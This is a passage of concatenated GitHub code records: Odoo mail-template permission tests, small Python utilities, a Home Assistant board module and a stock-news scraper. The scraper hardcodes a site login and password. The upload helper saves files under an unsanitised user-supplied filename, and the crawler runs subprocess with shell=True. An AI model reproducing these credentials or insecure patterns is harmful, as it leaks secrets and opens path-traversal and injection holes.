self.assertEqual(values[self.partner_employee.id]['subject'], '6', 'We must trust mail template values')\n self.assertIn('13', values[self.partner_employee.id]['body_html'], 'We must trust mail template values')\n\n def test_mail_template_acl(self):\n # Sanity check\n self.assertTrue(self.user_admin.has_group('mail.group_mail_template_editor'))\n self.assertFalse(self.user_employee.has_group('mail.group_mail_template_editor'))\n\n # Group System can create / write / unlink mail template\n mail_template = self.env['mail.template'].with_user(self.user_admin).create({'name': 'Test template'})\n self.assertEqual(mail_template.name, 'Test template')\n\n mail_template.with_user(self.user_admin).name = 'New name'\n self.assertEqual(mail_template.name, 'New name')\n\n # Standard employee can create and edit non-dynamic templates\n employee_template = self.env['mail.template'].with_user(self.user_employee).create({'body_html': '

foo

'})\n\n employee_template.with_user(self.user_employee).body_html = '

bar

'\n\n employee_template = self.env['mail.template'].with_user(self.user_employee).create({'email_to': 'foo@bar.com'})\n\n employee_template.with_user(self.user_employee).email_to = 'bar@foo.com'\n\n # Standard employee cannot create and edit templates with dynamic qweb\n with self.assertRaises(AccessError):\n self.env['mail.template'].with_user(self.user_employee).create({'body_html': '

'})\n\n # Standard employee cannot edit templates from another user, non-dynamic and dynamic\n with self.assertRaises(AccessError):\n mail_template.with_user(self.user_employee).body_html = '

foo

'\n with self.assertRaises(AccessError):\n mail_template.with_user(self.user_employee).body_html = '

'\n\n # Standard employee can edit his own templates if not dynamic\n employee_template.with_user(self.user_employee).body_html = '

foo

'\n\n # Standard employee cannot create and edit templates with dynamic inline fields\n with self.assertRaises(AccessError):\n self.env['mail.template'].with_user(self.user_employee).create({'email_to': '{{ object.partner_id.email }}'})\n\n # Standard employee cannot edit his own templates if dynamic\n with self.assertRaises(AccessError):\n employee_template.with_user(self.user_employee).body_html = '

'\n\n with self.assertRaises(AccessError):\n employee_template.with_user(self.user_employee).email_to = '{{ object.partner_id.email }}'\n\n def test_mail_template_acl_translation(self):\n ''' Test that a user that doenn't have the group_mail_template_editor cannot create / edit\n translation with dynamic code if he cannot write dynamic code on the related record itself.\n '''\n\n self.env.ref('base.lang_fr').sudo().active = True\n\n employee_template = self.env['mail.template'].with_user(self.user_employee).create({\n 'model_id': self.env.ref('base.model_res_partner').id,\n 'subject': 'The subject',\n 'body_html': '

foo

',\n })\n\n Translation = self.env['ir.translation']\n\n ### check qweb dynamic\n Translation.insert_missing(employee_template._fields['body_html'], employee_template)\n employee_translations_of_body = Translation.with_user(self.user_employee).search(\n [('res_id', '=', employee_template.id), ('name', '=', 'mail.template,body_html'), ('lang', '=', 'fr_FR')],\n limit=1\n )\n # keep a copy to create new translation later\n body_translation_vals = employee_translations_of_body.read([])[0]\n\n # write on translation for template without dynamic code is allowed\n employee_translations_of_body.value = 'non-qweb'\n\n # cannot write dynamic code on mail_template translation for employee without the group mail_template_editor.\n with self.assertRaises(AccessError):\n employee_translations_of_body.value = ''\n\n employee_translations_of_body.unlink() # delete old translation, to test the creation now\n body_translation_vals['value'] = '

'\n\n # admin can create\n new = Translation.create(body_translation_vals)\n new.unlink()\n\n # Employee without mail_template_editor group cannot create dynamic translation for mail.render.mixin\n with self.assertRaises(AccessError):\n Translation.with_user(self.user_employee).create(body_translation_vals)\n\n\n ### check qweb inline dynamic\n Translation.insert_missing(employee_template._fields['subject'], employee_template)\n employee_translations_of_subject = Translation.with_user(self.user_employee).search(\n [('res_id', '=', employee_template.id), ('name', '=', 'mail.template,subject'), ('lang', '=', 'fr_FR')],\n limit=1\n )\n # keep a copy to create new translation later\n subject_translation_vals = employee_translations_of_subject.read([])[0]\n\n # write on translation for template without dynamic code is allowed\n employee_translations_of_subject.value = 'non-qweb'\n\n # cannot write dynamic code on mail_template translation for employee without the group mail_template_editor.\n with self.assertRaises(AccessError):\n employee_translations_of_subject.value = '{{ object.foo }}'\n\n employee_translations_of_subject.unlink() # delete old translation, to test the creation now\n subject_translation_vals['value'] = '{{ object.foo }}'\n\n # admin can create\n new = Translation.create(subject_translation_vals)\n new.unlink()\n\n # Employee without mail_template_editor group cannot create dynamic translation for mail.render.mixin\n with self.assertRaises(AccessError):\n Translation.with_user(self.user_employee).create(subject_translation_vals)\n","repo_name":"anhjean/beanbakery_v15","sub_path":"addons/mail/tests/test_mail_template.py","file_name":"test_mail_template.py","file_ext":"py","file_size_in_byte":7638,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"50"} +{"seq_id":"9101312215","text":"import tkinter as tk\nfrom tkinter import ttk\n\nfrom Models.Filter import Filter\nfrom UI.Custom.JSONVar import JSONVar\nfrom UI.Custom.LabelInput import LabelInput\n\n\nclass SearchFrame(tk.Frame):\n def __init__(self, parent, lists: JSONVar):\n super().__init__(parent)\n\n self.bind()\n\n self.lists = lists\n self.lists.trace_add('write', self._update_lists)\n\n # List filter\n self.list_input_value = tk.StringVar()\n self.list_input_value.set(\"None\")\n self.list_input = LabelInput(self, \"List:\", self.list_input_value, ttk.Combobox,\n label_args={\"font\": \"Helvetica 14 bold\"},\n input_args={\"values\": self.lists.get()})\n self.list_input.place(relx=0.1, rely=0.03, relwidth=0.8, relheight=0.12)\n self.list_input.input.bind('<>', self.list_filter_changed)\n\n def show(self):\n self.tkraise()\n\n def _update_lists(self, *_):\n self.list_input.input[\"values\"] = self.lists.get()\n\n def get_filter(self):\n return Filter(self.list_input_value.get())\n\n def list_filter_changed(self, *_):\n self.master.event_generate(\"<>\")\n","repo_name":"MarcoB123456/BookTracker","sub_path":"UI/Widgets/SearchFrame.py","file_name":"SearchFrame.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"36447031836","text":"from gallery.db import create_image\nimport os\n\nUPLOADS_DIR = './uploads'\n\n\ndef upload_file(fileitem, title):\n if not os.path.isdir(UPLOADS_DIR):\n os.makedirs(UPLOADS_DIR)\n fileitem.save(os.path.join(UPLOADS_DIR, fileitem.filename))\n\n create_image(fileitem.filename, title)\n","repo_name":"sebbekarlsson/example-gallery-app","sub_path":"gallery/upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"22466308287","text":"#!/usr/bin/env python\n\n##recreate figure 3\n\nimport sys\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport scipy\nfrom scipy.stats import pearsonr\n\nk562_model_predictions = [] ##predictions\nk562_observations = [] ##real\ngene_names = [] ##for read gene names\ndescriptions = [] ##for red globin gene names\n\n\nfor i, line in enumerate(open(sys.argv[1])) :\n if line.strip('\"').startswith(\"##\") :\n ##stripping the \"\" and only looking at things starting with ## which contains our header (pulling out the header into a list)\n header = np.array(line.strip('\"\\r\\n').split('\\t'))\n k562_obs_idx = np.where(header == \"E123\")[0][0]\n ##need index 0 so that we do not get back an array\n ##the column is 60\n ## double [0] so its not in a list and is just a number\n print(k562_obs_idx)\n #print(header)\n elif not line.strip('\"').startswith(\"#\"):\n ##pulling out the data points that don't have #\n fields = line.strip('\"\\r\\n').split('\\t')\n k562_model_predictions.append(float(fields[4]))\n ##line 4 and putting it in this list\n k562_observations.append(float(fields[k562_obs_idx]))\n gene_names.append(fields[1])\n descriptions.append(fields[2])\n \n##now we are making a scatter plot\n## we are first putting points on the graph\n\ngenesoi = [\"PIM1\", \"SMYD3\", \"FADS1\", \"PRKAR2B\", \"GATA1\", \"MYC\"]\ngenesoilocs = []\n\n\n##find gene of interest locations\n\nfor geneoi in genesoi:\n genesoilocs.append(np.where(np.array(gene_names) == geneoi)[0][0])\n\n##lopping through descriptions to find ones with hemoglobin subunit in descriptions\n\nfor i in range(len(descriptions)):\n if \"hemoglobin subunit\" in descriptions[i]:\n genesoi.append(gene_names[i])\n genesoilocs.append(i)\n\ncor = pearsonr(k562_model_predictions, k562_observations)\n##findingout r value\nfig, ax = plt.subplots()\nax.scatter(k562_model_predictions, k562_observations, color=\"blue\", s=0.25, alpha=1)\nax.set_xlabel(\"Predicted K562 expression level, \\n10-fold cross-validated\")\nax.set_ylabel(\"K562 expression level log(10)\")\nline_xs = np.linspace(max(min(k562_model_predictions) ,min(k562_observations) ), min(max(k562_model_predictions) ,max(k562_observations)), 100)\nline_ys = 0 + 1 * line_xs\nax.plot(line_xs, line_ys, color = \"maroon\")\n#where we put the r squared text in\nax.text(0.5, 3.75, \"r^2 =\" + str(round(cor.statistic**2, 2)) + \"\\nn = \" + str(len(k562_observations)))\n##this is us putting the gene names in for our guys of interest\nfor geneoi, idx in zip(genesoi, genesoilocs):\n ax.text(k562_model_predictions[idx], k562_observations[idx], geneoi, color=\"maroon\", fontweight=\"demi\")\n\n##put in our x and y spot to put in the text and then specify the text\n##now we add out n value \nax.spines.right.set_visible(False)\nax.spines.top.set_visible(False)\nfig.savefig( \"yay.abbys.plt\" + \".png\" )\nplt.tight_layout()\nplt.show()\n\n\n","repo_name":"amolnar1/qbb2022-answers","sub_path":"week10/week10.py","file_name":"week10.py","file_ext":"py","file_size_in_byte":2904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"24045518444","text":"\"\"\"\r\nContains all crawlers for the project\r\n\r\n\"\"\"\r\n\r\nimport subprocess\r\nimport os\r\nimport time\r\nimport logging\r\n\r\nlogging.basicConfig(\r\n level=logging.INFO,\r\n format=\"%(asctime)s [%(threadName)-12.12s] [%(levelname)-5.5s] %(message)s\",\r\n handlers=[\r\n logging.FileHandler(\r\n \"{0}/{1}.log\".format(os.getcwd(), \"screaming_frog\")),\r\n logging.StreamHandler()\r\n ])\r\n\r\n\r\nclass ScreamingFrogSpider(object):\r\n \"\"\"\r\n Make use of Screaming Frog (SF) (https://www.screamingfrog.co.uk/) via the subprocess module.\r\n It calls the Screaming Frog CLI, default url is based off of the default set up.\r\n param:seospiderconfig_absolute_pathname: str pathname to binary file containing all config set up using SF UI.\r\n mandatory parameter by design, so you remember to add the correct configuration every time\r\n param:output_folder:str where all output should be saved to.\r\n param:export_tabs:list of strings all exports under export, matching the UI. default extract Internal:All Name matches UI set up\r\n param:file_full_path:str path to list of urls to crawl if list mode.\r\n param:spider name:str\r\n param:override\r\n \"\"\"\r\n\r\n def __init__(self,\r\n seospiderconfig_absolute_pathname,\r\n cli_exe,\r\n file_full_path=None,\r\n name=\"screaming_frog\",\r\n override=False,\r\n output_folder=os.getcwd(),\r\n ):\r\n self.name = name\r\n self.seospiderconfig_absolute_pathname = seospiderconfig_absolute_pathname\r\n self.output_folder = output_folder\r\n self.cli_exe = cli_exe\r\n self.file_full_path = file_full_path\r\n self.override = override\r\n self.logger = logging.getLogger()\r\n\r\n def _define_overwrite_mode(self, override_switch):\r\n if override_switch == True:\r\n return \"--overwrite\"\r\n else:\r\n return \"--timestamped-output\"\r\n\r\n def start_list_crawl(self, *args):\r\n \"\"\"This function makes use of the subprocess module to call screaming frog for crawling\r\n lists of urls.\r\n See https://screamingfrog.co.uk/seo-spider/user-guide/general/#command-line\r\n \"\"\"\r\n now = time.time()\r\n\r\n list_crawl_configuration = [self.cli_exe,\r\n \"--crawl-list\",\r\n self.file_full_path,\r\n \"--headless\",\r\n \"--config\",\r\n self.seospiderconfig_absolute_pathname,\r\n \"--output-folder\",\r\n self.output_folder,\r\n\r\n ]\r\n\r\n self.logger.info(\"crawl configuration: %s\", repr(list_crawl_configuration))\r\n self.logger.info(\"parsing arguments\")\r\n\r\n for arg in args:\r\n self.logger.info(\"parsed %s\", arg)\r\n list_crawl_configuration.append(arg)\r\n\r\n list_crawl_configuration.append(self._define_overwrite_mode(self.override))\r\n\r\n file_list = os.listdir(self.output_folder)\r\n\r\n subprocess.run(list_crawl_configuration, shell=True)\r\n\r\n return None\r\n\r\n def start_spider_crawl(self, website, *args):\r\n \"\"\"This function makes use of the subprocess module to call screaming frog for crawling\r\n websites\r\n See https://screamingfrog.co.uk/seo-spider/user-guide/general/#command-line\r\n \"\"\"\r\n list_crawl_configuration = [self.cli_exe,\r\n \"--crawl\",\r\n website,\r\n \"--headless\",\r\n \"--config\",\r\n self.seospiderconfig_absolute_pathname,\r\n \"--output-folder\",\r\n self.output_folder,\r\n ]\r\n for arg in args:\r\n list_crawl_configuration.append(arg)\r\n\r\n list_crawl_configuration.append(\r\n self._define_overwrite_mode(self.override))\r\n\r\n logger.info(\"Crawling %s\", list_crawl_configuration[2])\r\n subprocess.run(list_crawl_configuration, shell=True)\r\n\r\n return None\r\n\r\n def __str__(self):\r\n return f\"\"\"ScreamingFrogSpider(name:{self.name},\r\n spider_config:{self.seospiderconfig_absolute_pathname},\r\n cli:{self.cli_exe},\r\n list_of_urls:{self.file_full_path},\r\n override_mode:{self.override}\r\n \"\"\"\r\n","repo_name":"RougeRedWired/screaming-frog-python-driver","sub_path":"crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":4571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"6339995044","text":"import pytest\n\nfrom . import create_package, delete_package, run_from\n\n\n@pytest.fixture\ndef context():\n return {\n \"full_name\": \"John Doe\",\n \"email\": \"johndoe@domain.tld\",\n \"project_name\": \"Test Package\",\n \"version\": \"22.2.11\",\n }\n\n\n@pytest.fixture\ndef package(context, tmp_path):\n \"\"\"\n Create a new package, in a temporary directory, given the configuration\n given by the \"context\" fixture. Once done, clean it up.\n \"\"\"\n\n package = create_package(target=tmp_path, **context)\n yield package\n delete_package(package)\n\n\n@pytest.fixture(autouse=True)\ndef run_from_package(package):\n \"\"\"\n By default, all tests will run with the package as their working directory.\n \"\"\"\n\n with run_from(package.package):\n yield\n","repo_name":"enterthetag/pybase","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"70239981275","text":"#! /usr/bin/env python\n\n# Built-in imports\nimport unittest\nimport random\n\n# Local imports\nfrom sudoku.data.sudoku_solution_data import SudokuSolution\n\n\nclass TestSudokuSolution(unittest.TestCase):\n def setUp(self):\n self.sudoku_Solution = SudokuSolution(random)\n self.solution = self.sudoku_Solution.create()\n self.baseline = self.sudoku_Solution.baseline\n self.grid_len = self.sudoku_Solution.grid_len\n\n def test_create_compare_horizontal(self):\n \"\"\"Tests if the horizontal lines are valid in the sudoku board.\"\"\"\n\n for row in self.solution: self.assertEqual(sorted(row), list(range(1, self.grid_len + 1)))\n \n def test_create_compare_vertical(self):\n \"\"\"Tests if the vertical lines are valid in the sudoku board.\"\"\"\n \n for i in range(9): self.assertEqual(sorted([ row[i] for row in self.solution ]), list(range(1, self.grid_len + 1)))\n \n def test_create_compare_tiles(self):\n \"\"\"Tests if the tiles are valid in the sudoku board.\"\"\"\n\n y0 = lambda y: y // self.baseline * self.baseline # Pattern for vertical startpoint of each tile.\n x0 = lambda x: x * self.baseline % self.grid_len # Pattern for horizontal startpoint of each tile.\n\n for i in range(9): self.assertEqual(sorted([ self.solution[y][x] for y in range(y0(i), y0(i) + self.baseline)\n for x in range(x0(i), x0(i) + self.baseline) ]), \n list(range(1, self.grid_len + 1)))\n\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"DaMalle/Sudoku","sub_path":"sudoku/data/test/unittest_sudoku_solution.py","file_name":"unittest_sudoku_solution.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"73348307356","text":"# ---min24':00\" , 30':00\"------save in file:movie.txt-\n# --use postman software to know how is th Json or use wig IDE\nimport requests\n\ndef func_write(list1):\n with open (\"movie1.txt\",\"a+\") as file1: \n print(\"----------->>>>>>>>>>>><<<<<<<<<<<<<<<<<<--------------------\")\n print(\"file.tell(): \",file.tell())\n file1.write(\"----------->>>>>>>>>>>><<<<<<<<<<<<<<<<<<--------------------\\n\")\n for i in range(len(list1)):\n file1.write(\"{0:-<15d}{1}\".format(i+1,list1[i]))\n file1.write(\"\\n\")\n print(\"Writing the list------DONE!------------\")\n# ---------------------------------------------------------------------------------------\ntry:\n response = requests.get(\"http://moviesapi.ir/api/v1/movies?page=1\")\nexcept Exception as error:\n print(error)\nelse:\n print(\"\\n----->>>>>>>>>>-----------Connection DONE!------\")\n print(\"--response: \",response)\n print(\"-----requests.status_code: \", response.status_code)\n print(\"---------response.json: \",response.json)\n mydict = response.json()\n all_pages = mydict['metadata']['page_count']\n pages= int(input(\"\\n------WE HAVE %s pages.\\nHowmany pages do you want to see? \"%all_pages))\n with open (\"movie1.txt\",\"w+\") as file:\n list_movie = []\n for page in range(pages):\n try:\n response = requests.get(\"http://moviesapi.ir/api/v1/movies?page={}\".format(page+1))\n except Exception as error:\n print(error)\n else:\n print(\"\\n----->>>>>>>>>>-----------Connection DONE!------\")\n print(\"--response: \",response)\n print(\"-----requests.status_code: \", response.status_code)\n print(\"---------response.json: \",response.json)\n if response.status_code == 200:\n mydict = response.json()\n print(\"--------------------------------------\")\n for i in range (10):\n str_title = \"{0:-<10}{1}\".format((i+1+page*10),mydict['data'][i]['title'])\n print(str_title)\n list_movie.append(mydict['data'][i]['title'])\n file.write(str_title)\n file.write(\"\\n\")\n print(\"\\nlist_movie:\\n\",list_movie)\n func_write(list_movie)\n print(\"\\n--------Writing DONE!!!---------\")\n print(\"\\nfile.tell(): \",file.tell())\n file.seek(0)\n print(\"file.tell()after file.seek(0): \",file.tell())\n print(\"\\n------>>>>>>>>>>>>>-----file.read():----------------\\n{}\".format(file.read()))\n\n\n\n\n","repo_name":"patrickpink/API_01","sub_path":"K42_01_movie3.py","file_name":"K42_01_movie3.py","file_ext":"py","file_size_in_byte":2621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"17856100208","text":"import asyncio\n\nimport websockets\nfrom aioconsole import ainput\n\n\nasync def send_message(ws):\n while True:\n await asyncio.sleep(0)\n message = await ainput(\"> \")\n await ws.send(message)\n\n\nasync def receive_message(ws):\n while True:\n await asyncio.sleep(1)\n async for res in ws:\n print(res)\n\n\nasync def connect(uri):\n async with websockets.connect(uri) as ws:\n await asyncio.gather(*[send_message(ws), receive_message(ws)])\n\n\ndef main():\n loop = asyncio.get_event_loop()\n asyncio.ensure_future(connect('ws://localhost:8765'))\n loop.run_forever()\n\n\nif name == 'main':\n main()\n \n","repo_name":"Nerevarsoul/chats","sub_path":"websockets_chat/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"34135353435","text":"\"\"\"Board creation functions\"\"\"\n\nfrom __future__ import annotations\nfrom typing import Final\nimport logging\nimport asyncio\n\nfrom homeassistant.const import (\n CONF_ENTITIES,\n CONF_MAC,\n CONF_NAME,\n)\nfrom homeassistant.helpers import discovery\n\nfrom dScriptModule import dScriptBoard\nfrom .const import (\n DATA_BOARDS,\n DEFAULT_AESKEY,\n DEFAULT_PORT,\n DEFAULT_PROTOCOL,\n DOMAIN,\n SUPPORTED_PLATFORMS,\n)\nfrom .utils import (\n async_getdSBoardByIP,\n async_getdSBoardByMAC,\n)\n\n_LOGGER: Final = logging.getLogger(__name__)\n\nasync def async_dSBoardPlatformSetup(hass, config, dSBoard=None) -> None:\n \"\"\"Setup different platforms supported by dScriptModule\"\"\"\n for platform in SUPPORTED_PLATFORMS:\n _LOGGER.debug(\"async_dSBoardPlatformSetup: discover platform: %s - %s\",DOMAIN, platform)\n hass.async_create_task(\n discovery.async_load_platform(hass, platform, DOMAIN, dSBoard, config))\n\nclass dScriptBoardHA(dScriptBoard):\n \"\"\"Custom variant of dScriptBoard object for HA\"\"\"\n available = None\n\ndef dSBoardSetup(hass, config, host, port=DEFAULT_PORT, protocol=DEFAULT_PROTOCOL, aeskey=DEFAULT_AESKEY, returnObj=False) -> bool | dScriptBoardHA | None:\n \"\"\"Connect to a new dScriptBoard\"\"\"\n try:\n _LOGGER.debug(\"%s - dSBoardSetup\", host)\n dSBoard = asyncio.run_coroutine_threadsafe(async_getdSBoardByIP(hass, host), hass.loop).result()\n if not dSBoard is None: \n _LOGGER.debug(\"%s - dSBoardSetup: already exists (%s)\", host, dSBoard.IP)\n if returnObj:\n return dSBoard\n else:\n return True\n\n #dSBoard = dScriptBoard(TCP_IP=host, TCP_PORT=port, PROTOCOL=protocol)\n dSBoard = dScriptBoardHA(TCP_IP=host, TCP_PORT=port, PROTOCOL=protocol)\n if len(aeskey) > 0:\n dSBoard.SetAESKey(aeskey)\n\n _LOGGER.debug(\"%s - dSBoardSetup: pre-init via protocol %s\", dSBoard._HostName, dSBoard._Protocol)\n dSBoard.InitBoard()\n dSBoard.available = True\n _LOGGER.info(\"%s - dSBoardSetup: initialized %s (%s)\", dSBoard._HostName, dSBoard._ModuleID, dSBoard.IP)\n\n _LOGGER.debug(\"%s - dSBoardSetup: MAC cleanup (%s)\", host, dSBoard._MACAddress)\n if len(dSBoard._MACAddress) < 17:\n mac=''\n for m in dSBoard._MACAddress.split(':'):\n while len(m) < 2:\n m = '0' + m\n mac = mac + ':' + m\n mac = mac.lstrip(':')\n _LOGGER.info(\"%s - dSBoardSetup: MAC %s updated to %s\", host, dSBoard._MACAddress, mac)\n dSBoard._MACAddress = mac\n\n _LOGGER.debug(\"%s - dSBoardSetup: Firmware: %s.%s | App: %s.%s | Custom: %s | MAC: %s | IP: %s | Protocol: %s\",\n dSBoard._HostName, dSBoard._SystemFirmwareMajor, dSBoard._SystemFirmwareMinor, \n dSBoard._ApplicationFirmwareMajor, dSBoard._ApplicationFirmwareMinor, dSBoard._CustomFirmeware, dSBoard._MACAddress, dSBoard.IP, dSBoard._Protocol)\n\n dSBoard2 = asyncio.run_coroutine_threadsafe(async_getdSBoardByMAC(hass, dSBoard._MACAddress), hass.loop).result()\n if not dSBoard2 is None: \n _LOGGER.debug(\"%s - dSBoardSetup: already exists (%s)\", host, dSBoard2._MACAddress)\n if returnObj:\n return dSBoard2\n else:\n return True\n\n manual_entities = config[DOMAIN].get(CONF_ENTITIES)\n if not manual_entities is None:\n _LOGGER.debug(\"%s - dSBoardSetup: setting friendly name\", dSBoard._HostName)\n for entity in manual_entities:\n for att in dir(entity):\n if entity[CONF_MAC].lower() == dSBoard._MACAddress.lower():\n dSBoard.friendlyname = entity[CONF_NAME]\n break\n _LOGGER.debug(\"%s - dSBoardSetup: MAC: %s | FriendlyName %s\", dSBoard._HostName, dSBoard._MACAddress, dSBoard.friendlyname)\n \n hass.data[DOMAIN][DATA_BOARDS].append(dSBoard)\n if returnObj:\n return dSBoard\n else:\n return True\n except Exception as e:\n _LOGGER.error(\"%s - dSBoardSetup: failed: %s (%s.%s)\", host, str(e), e.__class__.__module__, type(e).__name__)\n if returnObj:\n return None\n else:\n return False\n","repo_name":"mk-maddin/dScriptModule-HA","sub_path":"custom_components/dscriptmodule_old/board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":4314,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"74871840795","text":"#숫자 2개를 입력받아 곱하는 프로그램\r\nx = input(\"? \")\r\n#변수 x에 첫번째 입력을 함\r\na = int(x)\r\n#x값을 a라는 정수로 바꿈\r\n\r\nx = input(\"? \")\r\nb = int(x)\r\n#위와 똑같이 b에 입력\r\n\r\nprint(a*b)\r\n#a와 b를 곱한 값을 print(출력)\r\n","repo_name":"jennyshin01/python","sub_path":"#숫자 2개를 입력받아 곱하는 프로그램.py","file_name":"#숫자 2개를 입력받아 곱하는 프로그램.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"16662757065","text":"import os\nimport requests\nimport pandas as pd\nimport re\nimport time\nimport pandas_market_calendars as mcal\nimport datetime as datet\n\nfrom FinanceAndMl_libs import finance_ml as fm\nfrom pprint import pprint\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime, timedelta\nfrom termcolor import colored\n\n\n# Settings\npd.set_option('max_rows', 1_000)\npd.set_option('max_columns', 100)\npd.set_option('display.width', 1_200)\n\n\ncur_disc = os.getcwd().split('\\\\')[0]\nuser_name = 'kenney25@lmaritimen.com'\npassword = '329493'\nkey_words = \"dividend or per share or distribution\"\nsort_news = 'date' # hits\nkeyword_type = 'boolean' # boolean\n\nbase_url = 'https://www.stockwatch.com/'\nheaders = {\n 'Accept': \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\",\n 'Accept-Encoding': 'gzip, deflate, br',\n 'Accept-Language': \"ru,en-US;q=0.9,en;q=0.8,ru-RU;q=0.7\",\n 'User-Agent': \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36\",\n}\n\n\ndef get_tiingo() -> pd.DataFrame:\n cur_disc = os.getcwd().split('\\\\')[0]\n tiingo_date = '2022-08-08'\n tiingo_week_ago = (pd.to_datetime(tiingo_date) - timedelta(days=7)).strftime('%Y-%m-%d')\n df = pd.read_csv(f'{cur_disc}\\Биржа\\Stocks. BigData\\Projects\\APIs\\API_Tiingo\\supported_tickers {tiingo_date}.csv')\n df = df[\n (df['priceCurrency'] == 'USD') & ~pd.isna(df['startDate']) & ~pd.isna(df['exchange']) &\n ~df['exchange'].isin(['LSE', 'SHE', 'ASX', 'SHG', 'NMFQS', 'CSE']) & (df['endDate'] > tiingo_week_ago)\n ]\n\n return df\n\n\ndef get_asset_type(df_tiingo: pd.DataFrame, ticker: str) -> str:\n cur_df = df_tiingo[df_tiingo['ticker'] == ticker]\n if len(cur_df) == 0:\n print(ticker, cur_df)\n print(colored('Нет тикера в Tiingo базе. Обработай вручную. Будет указан -', 'red'))\n return '-'\n elif len(cur_df) == 1:\n return cur_df['assetType'].iloc[0]\n elif len(cur_df['assetType'].unique()) == 1:\n return cur_df['assetType'].unique()[0]\n else:\n print(colored('Дубликаты в Tiingo базе. Обработай вручную. Будет указан -', 'red'))\n return '-'\n\n\ndef make_data_for_request(soup: BeautifulSoup, names_for_pop: list, data_change: dict) -> dict:\n data = {i['name']: i.get('value', '') for i in soup.select('input[name]')}\n\n for key in names_for_pop:\n data.pop(key)\n for key, value in data_change.items():\n data[key] = value\n\n return data\n\n\ndef time_converter(raw_data) -> (datetime, str):\n date = pd.to_datetime(raw_data.get_text()) + timedelta(hours=3)\n news_time = datetime.strptime(f\"{date.hour}-{date.minute}\", '%H-%M')\n if news_time > datetime.strptime(f\"15-50\", '%H-%M'):\n day_time = 'AMC'\n elif news_time < datetime.strptime(f\"9-30\", '%H-%M'):\n day_time = 'BMO'\n else:\n day_time = 'DAY'\n\n return date, day_time\n\n\ndef fill_news_file(soup: BeautifulSoup, dict_df: dict) -> dict:\n news_table = soup.find('table', border=1).find_all(\"tr\")\n for row in news_table:\n data = row.find_all('td')\n if len(data) == 0 or 'Page' in data[0].get_text():\n continue\n\n headline = data[4].get_text()\n if re.search('dividend', headline, re.IGNORECASE) or re.search('Per Share', headline, re.IGNORECASE) or \\\n re.search('distribution', headline, re.IGNORECASE):\n\n date, day_time = time_converter(data[0])\n ticker = data[1].get_text()\n link = 'https://www.stockwatch.com' + data[4].find('a')['href']\n dict_df['date'].append(date)\n dict_df['time'].append(day_time)\n dict_df['ticker'].append(ticker)\n dict_df['headline'].append(headline)\n dict_df['link'].append(link)\n\n return dict_df\n\n\ndef news_finder(s: requests.Session, key_words: str, sort_news: str, keyword_type: str, start_date: str, end_date: str):\n # Получение новостей ------------------------------------------------------------------------------------------\n dict_df = {'date': [], 'time': [], 'ticker': [], 'headline': [], 'link': []}\n\n r = s.get('https://www.stockwatch.com/News/Search.aspx')\n soup = BeautifulSoup(r.text, \"lxml\")\n names_for_pop = [\n 'ctl00$CheckChart2', 'ctl00$CheckCloses2', 'ctl00$CheckDepth2', 'ctl00$GoButton2',\n 'ctl00$MainContent$bDate', 'ctl00$MainContent$bKeyword', 'ctl00$MainContent$bSymbol',\n 'ctl00$MainContent$bToday', 'ctl00$MainContent$bType'\n ]\n data_change = {\n 'ctl00$RadioRegion2': 'RadioUS2', 'ctl00$CheckQuote2': 'on', 'ctl00$CheckNews2': 'on',\n 'ctl00$MainContent$cSymbol': 'on', 'ctl00$MainContent$dTodayRegion': 'С',\n 'ctl00$MainContent$dSymbolFeed': 'C', 'ctl00$MainContent$dType': '200',\n 'ctl00$MainContent$tKeywords': key_words, 'ctl00$MainContent$dKeywordFeed': 'usbull',\n 'ctl00$MainContent$dKeywordSort': sort_news, 'ctl00$MainContent$dKeywordStemming': 'Y',\n 'ctl00$MainContent$dKeywordType': keyword_type, 'ctl00$MainContent$dKeywordFuzzy': '0',\n 'ctl00$MainContent$dKeywordPhonic': 'N', 'ctl00$MainContent$bKeyword.x': '41',\n 'ctl00$MainContent$bKeyword.y': '10', 'ctl00$MainContent$dEx': '',\n 'ctl00$MainContent$dDateSort': 'timedesc', 'ctl00$MainContent$dDateFeed': 'C',\n 'ctl00$MainContent$tKeywordFrom': start_date, 'ctl00$MainContent$tKeywordTo': end_date\n }\n data = make_data_for_request(soup, names_for_pop, data_change)\n r = s.post('https://www.stockwatch.com/News/Search.aspx', data=data)\n soup = BeautifulSoup(r.text, \"lxml\")\n\n # Заполенение таблицы с новостями ------------------------------------------------------------------------------\n dict_df = fill_news_file(soup, dict_df)\n print('Первая страница получена успешно')\n\n # Итератор по страницам\n td = [i for i in soup.select('td[colspan]')]\n if len(td) > 0:\n td = td[0]\n pages_dict = {}\n for a in 